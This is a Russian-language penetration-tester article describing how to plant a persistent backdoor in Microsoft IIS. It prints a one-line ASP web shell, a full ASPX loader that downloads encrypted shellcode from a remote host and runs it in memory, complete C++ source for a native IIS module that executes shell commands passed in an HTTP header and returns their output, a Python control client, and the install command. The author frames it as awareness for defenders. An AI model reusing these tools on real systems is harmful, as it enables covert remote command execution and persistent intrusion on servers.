От HTTP к RCE. Как оставить бекдор в IIS

Всем добрый день! Меня зовут Михаил Жмайло, я пентестер в команде CICADA8 Центра инноваций МТС.

На проектах часто встречаются инстансы Internet Information Services (IIS). Это очень удобный инструмент, используемый в качестве сервера приложений. Но знаете ли вы, что даже простое развёртывание IIS может позволить злоумышленнику оставить бекдор в целевой среде?

В статье я покажу закрепление на системе, используя легитимный продукт Microsoft — Internet Information Services. Мы попрактикуемся в программировании на C++, изучим IIS Components и оставим бекдор через IIS Module.

Договоримся сразу: я рассказываю это всё не для того, чтобы вы пошли взламывать чужие системы, а чтобы вы знали, где могут оставить бекдор злоумышленники. Предупреждён — значит вооружён.

Введение

Во время проведения внутренних пентестов наша команда очень часто встречала стандартную заставку IIS. На одном проекте практически каждый компьютер имел это приложение. В тот же вечер я задался вопросом: «А что, если закрепиться на целевой системе и сохранить постоянный доступ к ней через IIS?».

К счастью, Windows даёт свободу действий разработчику: хочешь расширить возможности любой большой Enterprise-штуки? Да пожалуйста, вот тебе куча API!

Перед тем как создавать нашего монстра Франкенштейна, вспомним об уже известных способах закрепления на IIS.

Казино, блэкджек и шеллы

Издавна самым распространённым способом персиста (а в особых случаях и получением первоначального доступа) были веб-шеллы. Впрочем, из-за простоты, маленького веса и большой популярности появилось достаточно много способов обнаружить их появление на веб-сервере.

Кроме того, если не добавлять минимальнейший контроль доступа к веб-шеллу, то им сможет пользоваться любой желающий. Не очень круто, правда?

Наконец, кодировки. Возьмём стандартный веб-шелл .aspx. Загрузим в C:\inetpub\wwwroot, поставим права через icacls, запустим.

Я знал, что требования к пентестерам высокие, но знания эльфийского никто не просил.

Конечно, есть и чуть более аккуратные варианты.

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

Ровно как и чуть более громоздкие. Например, ASPX шеллкод-раннер с подгрузкой пейлоада с удалённого сервера и последующей дешифровкой AES.

Как тебе такое, Илон Маск?

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Linq" %>
<script runat="server">
	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
	[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
	private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[   System.Runtime.InteropServices.DllImport("kernel32.dll")]
	private static extern IntPtr GetCurrentProcess();
	private byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
	{
    	using (var aes = Aes.Create())
    	{
        	aes.KeySize = 256;
        	aes.BlockSize = 128;
        	// Keep this in mind when you view your decrypted content as the size will likely be different.
        	aes.Padding = PaddingMode.Zeros;
        	aes.Key = key;
        	aes.IV = iv;
        	using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
        	{
            	return PerformCryptography(data, decryptor);
        	}
    	}
	}
	private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
	{
    	using (var ms = new MemoryStream())
    	using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
    	{
        	cryptoStream.Write(data, 0, data.Length);
        	cryptoStream.FlushFinalBlock();
        	return ms.ToArray();
    	}
	}
	private byte[] GetArray(string url)
	{
    	using (WebClient webClient = new WebClient())
    	{
        	string content = webClient.DownloadString(url);
        	byte[] byteArray = content.Split(',')
        	.Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))
        	.ToArray();
        	return byteArray;
    	}
	}
	private static Int32 MEM_COMMIT=0x1000;
	private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
	protected void Page_Load(object sender, EventArgs e)
	{
    	IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
    	if(mem == null)
    	{
        	return;
    	}
    	// Encrypted shellcode
    	byte[] Enc = GetArray("http://192.168.x.x/enc.txt");
    	// Key
    	byte[] Key = GetArray("http://192.168.x.x/key.txt");
    	// IV
    	byte[] Iv = GetArray("http://192.168.x.x/iv.txt");
    	// Decrypt our shellcode
    	byte[] e4qRS= Decrypt(Enc, Key, Iv);
    	// Allocate our memory buffer
    	IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   	 
    	// Copy our decrypted shellcode ito the buffer
    	System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);
    	// Create a thread that contains our buffer
    	IntPtr aj5QpPE = IntPtr.Zero;
    	IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE);
	}
</script>
<!DOCTYPE html>
<html>
<body>
	<p>Check your listener...</p>
</body>

</html>

Существуют даже генераторы веб-шеллов. Сверху ко всему этому добавляется удовольствие для ценителей — перезапись web.config. Казалось бы, бери и не думай!

Но нет! Хочется чего-нибудь этакого: нового, необычного и достаточно скрытного, чтобы не каждый стажёр-защитник мог прогнать тебя со скомпрометированного хоста.

И такое решение нашлось.

IIS Components

Как я уже сказал, Microsoft позволяет расширять встроенную функциональность своих продуктов. До версии 7.0 в IIS были ISAPI Extensions и ISAPI Filters. Эти средства до сих пор доступны, но на смену им пришли IIS Handler и IIS Module соответственно.

IIS Handler позволяет обрабатывать полученный запрос на IIS и создавать ответ для различного типа контента. Например, существует хендлер в ASP.NET, позволяющий обрабатывать страницы ASPX (наши веб-шеллы в том числе).

IIS Module также участвует в обработке. IIS предоставляет ему полный и неограниченный доступ ко всем входящим и исходящим HTTP-запросам. Думаю, это наш кандидат. Сами модули можно разделить на два типа: Managed и Native. Managed — те, которые были написаны на C#, а Native — на C++. Список установленных модулей можно увидеть через стандартный диспетчер служб IIS.

Сам процесс закрепления аналогичен веб-шеллу: если идёт обращение по определённому эндпоинту с определёнными параметрами, то на системе выполняется команда.

Общий концепт

Я понимаю, как можно расширить функциональность в Windows. Всё основывается на написании собственной DLL-библиотеки с нужными методами. После её создания остаётся лишь зарегистрировать библиотеку в IIS и с помощью неё обрабатывать конкретные события, появляющиеся на сервере, например, получение нового HTTP-запроса.

Чтобы мы смогли зарегистрировать нашу библиотеку в IIS, она должна экспортировать функцию RegisterModule() со следующим прототипом:

HRESULT __stdcall RegisterModule(
    DWORD dwServerVersion,
    IHttpModuleRegistrationInfo*   pModuleInfo,
    IHttpServer*               	pHttpServer
)

dwServerVersion определяет версию сервера, на котором библиотека регистрируется. IHttpModuleRegistratioInfo — это так называемый интерфейс. Для неискушённых отмечу, что интерфейс в ООП можно считать некоторым обязательством класса по реализации определённых методов. Отличный разбор можно посмотреть тут.

Таким образом, обращаясь к переменной pModuleInfo (она будет идентифицировать наш модуль в IIS), мы можем извлечь имя текущего модуля с помощью GetName(), получить его ID через GetId(), но самое интересное (собственно, что нам и нужно) — подписаться на обработку определённых событий через SetRequestNotifications().

Ещё возможно установить приоритезацию, но она нам не особо интересна. Хотя если вы планируете писать высоконагруженный веб-шелл…

Впрочем, вернёмся к SetRequestNotifications().

virtual HRESULT SetRequestNotifications(  
   IN IHttpModuleFactory* pModuleFactory,  
   IN DWORD dwRequestNotifications,  
   IN DWORD dwPostRequestNotifications  
) = 0;

Это так называемая **чисто виртуальная функция**. Её логика должна быть реализована в каком-то классе. В нашем случае вызвать эту функцию можно, обратившись к pModuleInfo. Сама же функция принимает следующие аргументы:

• pModuleFactory — экземпляр класса, который будет удовлетворять интерфейсу IHttpModuleFactory. То есть мы просто должны создать класс, указать, что он унаследован от интерфейса, и реализовать в этом классе методы GetHttpModule и Terminate
• dwRequestNotifications — битовая маска, идентифицирующая все события, на которые подписывается IIS Module. Нас интересуют RQ_SEND_RESPONSE и RQ_BEGIN_REQUEST. Весь список возможных событий можно найти тут
• dwPostRequestNotifications — битовая маска, идентифицирующая все так называемые post-event-события. Эту маску удобно использовать для обработки чего-то, что уже произошло на IIS. Нас это значение не особо интересует, поэтому ставим 0

В случае успешной инициализации функция RegisterModule() должна вернуть S_OK.

Логичный вопрос: «Где же обрабатывать события?». И перед тем как на него ответить, нужно разобраться со всеми классами и фабриками.

Класс, фабрика, племя и бедный иудей

В функции SetRequestNotification() нам следует первым параметром передать экземпляр класса, удовлетворяющего интерфейсу IHttpModuleFactory. Наш класс может быть каким угодно, главное, чтобы в нём была реализация двух методов: GetHttpModule() и Terminate().

Например, назовём класс неочевидным именем CHttpModuleFactory.

class CHttpModuleFactory : public IHttpModuleFactory
{
public:
    
	HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator)
	{
   	 ... здесь код ...
	}
	void Terminate()
	{
    	delete this;
	}
};

Метод GetHttpModule() будет вызываться каждый раз, когда на IIS поступает запрос, обработка которого была зарегистрирована. Terminate() будет вызываться в конце обработки запроса.

Внутри GetHttpModule() наш класс должен создать экземпляр класса CHttpModule и вернуть адрес в переменную ppModule. Именно класс CHttpModule предоставляет функционал по обработке запросов на IIS, его определение представлено в стандартном заголовочном файле httpserv.h.

Если глянем на функции OutputDebugString(), то поймём, что мало создать экземпляр класса — мы должны предусмотреть реализацию метода для обработки конкретного события. Переопределить код существующего метода можно дочерним классом, назовём его CChildHttpModule.

В самом классе пока пропишем только прототипы методов, которые будем переопределять. Но очень хорошая практика, на мой взгляд, вставлять код метода в .h-файл — может возникнуть какая-нибудь LNK*-ошибка.

class CChildHttpModule : public CHttpModule
{
public:
	REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);  
};

Внутри GetHttpModule() предусмотрим код для создания экземпляра класса CChildHttpModule.

class CHttpModuleFactory : public IHttpModuleFactory
{
public:
    
	HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*)
	{
    	CChildHttpModule* pModule = new CChildHttpModule();
    	*ppModule = pModule;
    	pModule = NULL;
    	return S_OK;
	}
	void Terminate()
	{
    	delete this;
	}
};

Если подвести черту, то только что описанные действия реализуют паттерн проектирования, называемый «фабрикой» (отсюда и всякие *Factory в названиях интерфейсов). Этот паттерн позволяет создать объект (он и называется фабрикой) для создания других объектов. А затем, при обращении к фабрике, будут создаваться нужные объекты.

Вся логика работы теперь предельно ясна:

1. Регистрируем модуль в IIS.
2. IIS вызывает RegisterModule().
3. Подписываемся на нужные события, отдаём через pModuleInfo->SetRequestNotifications() указатель на экземпляр нашей фабрики.
4. IIS при появлении запроса обратится к методу GetHttpModule() нашей фабрики.
5. Создастся новый инстанс класса CChildHttpModule().
6. Вызовется нужный метод, соответствующий событию, с помощью этого инстанса класса. В нашем случае, если подписались на RQ_SEND_RESPONSE, то вызовется OnSendResponse().
7. Внутри метода обрабатываем ответ веб-сервера.
8. Возвращаем из метода RQ_NOTIFICATION_CONTINUE. Это значение свидетельствует об успешном завершении функции по обработке.
9. IIS запускает метод Terminate().

Зачем обрабатывать ответ, если нужно запрос?

Логичнее было бы обрабатывать событие RQ_BEGIN_REQUEST с вызовом метода OnBeginRequest(). Но как в этом случае получать вывод? Конечно, можно что-то там накодить на сокетах или оставить слепое выполнение команд, но это не очень удобно. Поэтому я использовал RQ_SEND_RESPONSE. Тем более в методе OnSendResponse() через аргумент pHttpContext благодаря IHttpContext интерфейсу можно получить доступ как к запросу, так и к ответу.

Логика работы нашего инструмента будет предельно проста: осуществляем парсинг полученного запроса, обнаруживаем желание атакующего выполнить команду на системе, выполняем команду, добавляем вывод команды к ответу IIS-сервера — успех!

Начинаем кодить

Итак, создаём пустой проект для написания библиотеки динамической компоновки в Visual Studio. В функцию DllMain ничего не добавляем, она нам не нужна. Реализуем RegisterModule().

#include "pch.h"
#include <Windows.h>
#include <httpserv.h>
#include "classes.h"
CHttpModuleFactory* pFactory = NULL;
__declspec(dllexport) HRESULT __stdcall RegisterModule(
	DWORD dwSrvVersion,
	IHttpModuleRegistrationInfo* pModuleInfo,
	IHttpServer* pHttpServer)
{
	pFactory = new CHttpModuleFactory();
	HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0);
	return hr;
}

В этом коде мы объявляем функцию, экспортируемую из DLL. Далее внутри неё создаём экземпляр новой фабрики, который будет использоваться IIS для создания объектов класса CChildHttpModule.

В заголовочном файле classes.h реализуем прототипы классов CHttpModuleFactory и CChildHttpModule.

#pragma once
#include <Windows.h>
#include <httpserv.h>
class CChildHttpModule : public CHttpModule
{
public:
    REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
    HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);
    void Terminate();
};

В файле classes.cpp пишем логику методов этих классов.

#include "classes.h"
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
    ...
}
HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc)
{
    CChildHttpModule* pModule = new CChildHttpModule();
    *ppModule = pModule;
    pModule = NULL;
    return S_OK;
}
void CHttpModuleFactory::Terminate()
{
    if (this != NULL)
    {
   	 delete this;
    }
}

Дальше нужно понять, как мы хотим выполнять команду и видеть вывод. После этого решаем, как будем реализовывать функцию OnSendResponse().

Методы IHttp*-интерфейса

Для минимального POC предлагаю отсылать HTTP-пакет с заголовком X-Cmd-Command: <command>. Так как наш IIS Module зарегистрирован для обработки RQ_SEND_RESPONSE, то внутри IIS вызовется функция OnSendResponse(). Прототип у неё вот такой:

virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(  
   IN IHttpContext* pHttpContext,  
   IN ISendResponseProvider* pProvider  
);

Здесь нас интересует указатель pHttpContext. Так как этот экземпляр реализует интерфейс IHttpContext, то мы можем использовать функции, определённые в этом интерфейсе.

Сначала нам следует извлечь полученный IIS запрос и отправляемый ответ. Это можно сделать с помощью методов pHttpContext->GetRequest() и pHttpContext->GetResponse().

В результате чего получим два экземпляра, соответствующих интерфейсу IHttpRequest и IHttpResponse.

Извлечь значение определённого заголовка позволяет метод GetHeader().

virtual PCSTR GetHeader(  
   IN PCSTR pszHeaderName,  
   OUT USHORT* pcchHeaderValue = NULL  
) const = 0;  
 
virtual PCSTR GetHeader(  
   IN HTTP_HEADER_ID ulHeaderIndex,  
   OUT USHORT* pcchHeaderValue = NULL  
) const = 0;

Остаётся лишь извлечь значение, отдать в cmd.exe /c <command>, после чего добавить результат выполнения к ответу веб-приложения. С первыми двумя шагами всё очевидно, GetHeader(), CreateProcess() с перенаправлением вывода в пайп, но как добавить результат выполнения команд?

Для этого используем метод SetHeader().

virtual HRESULT SetHeader(  
   IN PCSTR pszHeaderName,  
   IN PCSTR pszHeaderValue,  
   IN USHORT cchHeaderValue,  
   IN BOOL fReplace  
) = 0;  
 
virtual HRESULT SetHeader(  
   IN HTTP_HEADER_ID ulHeaderIndex,  
   IN PCSTR pszHeaderValue,  
   IN USHORT cchHeaderValue,  
   IN BOOL fReplace  
) = 0;

Обратите внимание, что этот метод присутствует и у IHttpRequest, но мы его вызываем по отношению к экземпляру IHttpResponse (ведь мы же хотим включить результат выполнения команды в ответ, так ведь? :) ).

Результат исполнения команды вставляем в формате Base64.

Как дебажить это чудо

Ранее в статье я уже упоминал о прекрасной функции OutputDebugString(). Её я буду использовать в том числе и в функции OnSendResponse(). В случае Native IIS Module это единственный возможный более-менее высокоуровневый способ (из известных мне) отладки и отлова ошибок при разработке. OutputDebugString() делает вот что:

• если текущий процесс отлаживается, то текст прямиком отправляется в отладчик
• иначе — вызывает стандартную функцию OpenEvent() и пытается открыть хендл на два именованных события. Одно с именем DBWIN_BUFFER_READY, другое — DBWIN_DATA_READY. Если одно из них или оба не найдены, то строка, переданная в функцию, просто очищается
• если события существуют, то идёт помещение строки в память путём вызова OpenFileMapping() с именем DBWIN_BUFFER. Если этот маппинг не найден, то текст просто очищается
• наконец, если все три объекта существуют, OutputDebugString() вызывает MapViewOfFile() для создания маппинга, и строка появляется в памяти. Её оттуда можно считать

Для удобства можно воспользоваться, например, DebugView.

Вот пример двух программ, одна из которых получает строки, отправляемые другой с помощью функции Outputdebugstring():

#include <Windows.h>
#include <stdio.h>
#include <atltime.h>
int main() {
    HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,
   	 L"DBWIN_BUFFER_READY");
    HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,
   	 L"DBWIN_DATA_READY");
    DWORD size = 1 << 12;
    HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,
   	 PAGE_READWRITE, 0, size, L"DBWIN_BUFFER");
    auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,
   	 0, 0, 0);
    while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,
   	 INFINITE, FALSE)) {
   	 SYSTEMTIME local;
   	 ::GetLocalTime(&local);
   	 DWORD pid = *(DWORD*)buffer;
   	 printf("%ws.%03d %6d: %s\n",
   		 (PCWSTR)CTime(local).Format(L"%X"),
   		 local.wMilliseconds, pid,
   		 (const char*)(buffer + sizeof(DWORD)));
    }
    getchar();
    return 0;
}

А вот программа, отправляющая строку:

#include <windows.h>
int main()
{
	LPCWSTR str = (LPCWSTR)L"Hi!!!";
	OutputDebugString(str);
	return 0;
}

Вывод следующий:

Примерно так выглядит процесс отладки с помощью DebugView:

Написание финального POC

Итак, нам остаётся лишь корректно описать всё в методе OnSendResponse() и получить работающий бекдор. Начнём с функций по кодированию. Будем использовать base64, поэтому здесь всё просто. Так как функция SetHeader() принимает LPCSTR, то наша функция EncodeBase64() будет возвращать LPCSTR. Кодируемые данные будут лежать в BYTE-буфере, поэтому первым аргументом будет адрес буфера, вторым — его размер.

const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
LPCSTR EncodeBase64(BYTE* buffer, size_t in_len) {
	std::string out;
	int val = 0, valb = -6;
	for (size_t i = 0; i < in_len; ++i) {
    	unsigned char c = buffer[i];
    	val = (val << 8) + c;
    	valb += 8;
    	while (valb >= 0) {
        	out.push_back(base64_chars[(val >> valb) & 0x3F]);
        	valb -= 6;
    	}
	}
	if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
	while (out.size() % 4) out.push_back('=');
	char* encodedString = new char[out.length() + 1];
	std::memcpy(encodedString, out.data(), out.length());
	encodedString[out.length()] = '\0';
	return encodedString;
}

Расписывать принцип работы алгоритма, думаю, нет смысла, ведь это стандартный Base64.

Перейдём к самому сочному — обработке OnSendResponse(). Я сначала предоставлю полный код функции, а затем мы его пошагово разберём.

REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
    OutputDebugString(L"OnSendResponse IN");
    IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
    IHttpResponse* pHttpResponse = pHttpContext->GetResponse();
    USHORT uComLen = 0;
    LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
    if (lpCommand == NULL || uComLen == 0) {
   	 OutputDebugString(L"lpCommand == NULL || uComLen == 0");
   	 return RQ_NOTIFICATION_CONTINUE;
    }
    OutputDebugString(L"Command isn't null");
    
    lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
    lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);
	std::vector<BYTE> output;
    if (ExecuteCommand(lpCommand, output) != 0)
    {
   	 OutputDebugString(L"ExecuteCommand Failed");
    	return RQ_NOTIFICATION_CONTINUE;
    }
    OutputDebugString(L"ExecuteCommand success");
	if (output.empty())
	{
    	OutputDebugString(L"Buffer Is empty!");
    	return RQ_NOTIFICATION_CONTINUE;
	}
	OutputDebugString(L"Buffer is not empty");
	LPCSTR b64Data = EncodeBase64(output.data(), output.size());
	if (b64Data == NULL)
	{
    	OutputDebugString(L"Base64 Data Is Null!");
    	return RQ_NOTIFICATION_CONTINUE;
	}
	pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
	output.clear();
	delete[] b64Data;
    OutputDebugString(L"OnSendResponse OUT");
    return RQ_NOTIFICATION_CONTINUE;
}

Во-первых, как и обещал, множество OutputDebugString(). Это позволяет через DebugView отслеживать состояние модуля IIS.

Во-вторых, извлекаем из pHttpContext экземпляр ответа и запроса.

IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

Затем через чтение заголовка X-Cmd-Command получаем значение команды, которую следует исполнить.

LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
    OutputDebugString(L"lpCommand == NULL || uComLen == 0");
    return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Command isn't null");
lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

Обратите внимание, что заголовок я поместил в переменную HEADER. Она определена в файле defs.h. Это позволяет достаточно быстро и без особых проблем менять используемый заголовок.

Основная функциональность нашего бекдора — выполнение произвольных команд. Поэтому я создаю вектор с данными типа BYTE. В этой переменной будет находиться результат выполнения команды.

std::vector<BYTE> output;
if (ExecuteCommand(lpCommand, output) != 0)
{
    OutputDebugString(L"ExecuteCommand Failed");
	return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"ExecuteCommand success");
if (output.empty())
{
	OutputDebugString(L"Buffer Is empty!");
	return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Buffer is not empty");

ExecuteCommand() выглядит вот так.

DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) {
	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
	HANDLE hReadPipe, hWritePipe;
	BOOL success = FALSE;
	if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
    	OutputDebugString(L"CreatePipe failed");
    	return -1;
	}
	ZeroMemory(&si, sizeof(STARTUPINFOA));
	si.cb = sizeof(STARTUPINFOA);
	si.dwFlags |= STARTF_USESTDHANDLES;
	si.hStdOutput = hWritePipe;
	si.hStdError = hWritePipe;
	char cmdCommand[MAX_PATH];
	snprintf(cmdCommand, MAX_PATH, "C:\\Windows\\System32\\cmd.exe /c %s", command);
	if (!CreateProcessA(
    	NULL,
    	cmdCommand,
    	NULL,
    	NULL,
    	TRUE,
    	CREATE_NO_WINDOW,
    	NULL,
    	NULL,
    	&si,
    	&pi)) {
    	OutputDebugString(L"CreateProcessA failed");
    	CloseHandle(hReadPipe);
    	CloseHandle(hWritePipe);
    	return -1;
	}
	OutputDebugString(L"CreateProcessA Success");
	CloseHandle(hWritePipe);
	outputBuffer.clear();
    
	const DWORD tempBufferSize = 4096;
	std::vector<BYTE> tempBuffer(tempBufferSize);
	DWORD bytesRead;
	while (true) {
    	if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0)
        	break;
    	outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead);
	}
	CloseHandle(hWritePipe);
	CloseHandle(hReadPipe);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	return 0;
}

Матёрому безопаснику эта функция покажется донельзя простой. Первым делом создаём пайп для получения результата команды. Следующим шагом генерируем исполняемую команду (cmd.exe /c <command>), после чего её выполняем. Результат выполнения упадёт в пайп, из которого мы считываем данные и помещаем их в наш вектор.

Процесс чтения также достаточно прост. Как только функция начинает завершаться с ошибкой либо данные перестают читаться, значит всё, конец чтения :)

После считывания всех данных в вектор кодируем его в Base64 и вставляем в ответ веб-сервера через метод SetHeader().

LPCSTR b64Data = EncodeBase64(output.data(), output.size());
	if (b64Data == NULL)
	{
    	OutputDebugString(L"Base64 Data Is Null!");
    	return RQ_NOTIFICATION_CONTINUE;
	}
	OutputDebugStringA(b64Data);
	pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
	output.clear();
	delete[] b64Data;
    OutputDebugString(L"OnSendResponse OUT");
    return RQ_NOTIFICATION_CONTINUE;
}

Выполняем команды

Момент истины! Добиваемся выполнения команд. Для того чтобы отправлять запросы на заражённый IIS, напишем простенький скрипт на Python.

import requests
import argparse
import base64
parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.')
parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to')
parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header')
parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command')
args = parser.parse_args()
url = args.host
headers = {
	args.header: args.cmd
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
	response_value = response.headers.get(args.header)
	if response_value:
    	decoded_value = base64.b64decode(response_value.encode()).decode()
    	print(f"Значение заголовка {args.header} в ответе: {decoded_value}")
	else:
    	print(f"Заголовок {args.header} отсутствует в ответе.")
else:
	print(f"Ошибка: Не удалось соединиться с сервером. Статус код: {response.status_code}")

Скрипт принимает два необходимых и один опциональный параметр:

• --host — URL-адрес хоста, на котором расположен IIS
• --cmd — команда для выполнения
• --header — имя заголовка, через который отдаём команду и получаем вывод. Используем X-Cmd-Command, но если вы перекомпилируете проект с другим заголовком, то не забудьте указать новое значение

Перед тем как увидеть столь заветный результат, не забудьте зарегистрировать в IIS наш модуль. Делается одной простой командой:

C:\Windows\system32\inetsrv\appcmd.exe install module /name:"Backdoor" /image:C:\Windows\System32\inetsrv\Backdoor.dll /add:true

Можно, конечно, установить через графический интерфейс, но это как-то не по-хакерски.

При успешной регистрации увидим в DebugView строку RegisterModule.

Если мы просто зайдём на IIS и будем обновлять страницу, то ничего подозрительного не будет. Можем лишь видеть, как успешно логируется наше же сообщение о том, что никакой команды получено не было.

Запускаем наш Python-скрипт и видим успешное выполнение команды!

Success!

Заключение

Порой вполне стандартные и легитимные механизмы могут оказаться весьма полезными при проведении пентестов. Есть ещё очень много функциональности, которую можно добавить к этому проекту. Например, было бы отлично кодировать не только вывод, но и ввод. Чтобы в заголовке X-Cmd-Command отдавалась команда в Base64. К счастью, получать значение заголовка мы научились. За вами — прикрутить функцию по декодированию из Base64. Все необходимые данные уже лежат в base64.cpp. Дерзайте :)

Полный код проекта доступен на GitHub